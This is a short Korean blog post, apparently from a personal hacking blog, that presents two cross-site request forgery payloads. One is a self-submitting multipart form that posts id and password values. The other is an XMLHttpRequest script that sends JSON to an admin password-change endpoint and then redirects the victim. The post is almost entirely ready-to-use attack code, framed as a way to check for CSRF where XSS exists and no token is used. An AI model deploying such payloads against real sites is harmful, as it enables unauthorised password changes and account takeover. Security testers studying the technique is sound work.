본문 바로가기
Hack/Web

Cross Site Request Forgery(CSRF) payload

by Becoming a Hacker 2022. 5. 6.
반응형

XSS가 발생하는 환경에서 CSRF 보호 기법(csrf token)이 적용되어 있지 않으면 당연히 CSRF를 확인해야 합니다.

 

CSRF Payload by multipart/form-data

<form name="form" action="/hacksms" method="POST" enctype="multipart/form-data">
<input type="text" name="id" value="eth">
<input type="text" name="pwd" value="sms">
</form>

<script>
document.getElementsByName("form")[0].submit();
</script>

 

CSRF Paylod by json

요새는 많은 서버에서 Content-type을 applicaiton/json으로 보내는데, 이런 경우 가장 기본중의 기본인 form tag를 이용하여 CSRF를 확인하기는 어렵습니다.

 

이런 경우 XMLHttpRequest()를 이용하여 CSRF를 확인하면 쉽게 확인할 수 있습니다.

var xhr = new XMLHttpRequest();
var url = "/admin/pwd_chg.do";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
var data = JSON.stringify({"id": "sms@sms.com", "chg_pwd": "123123"});
xhr.send(data);
location.href="/main.do";

댓글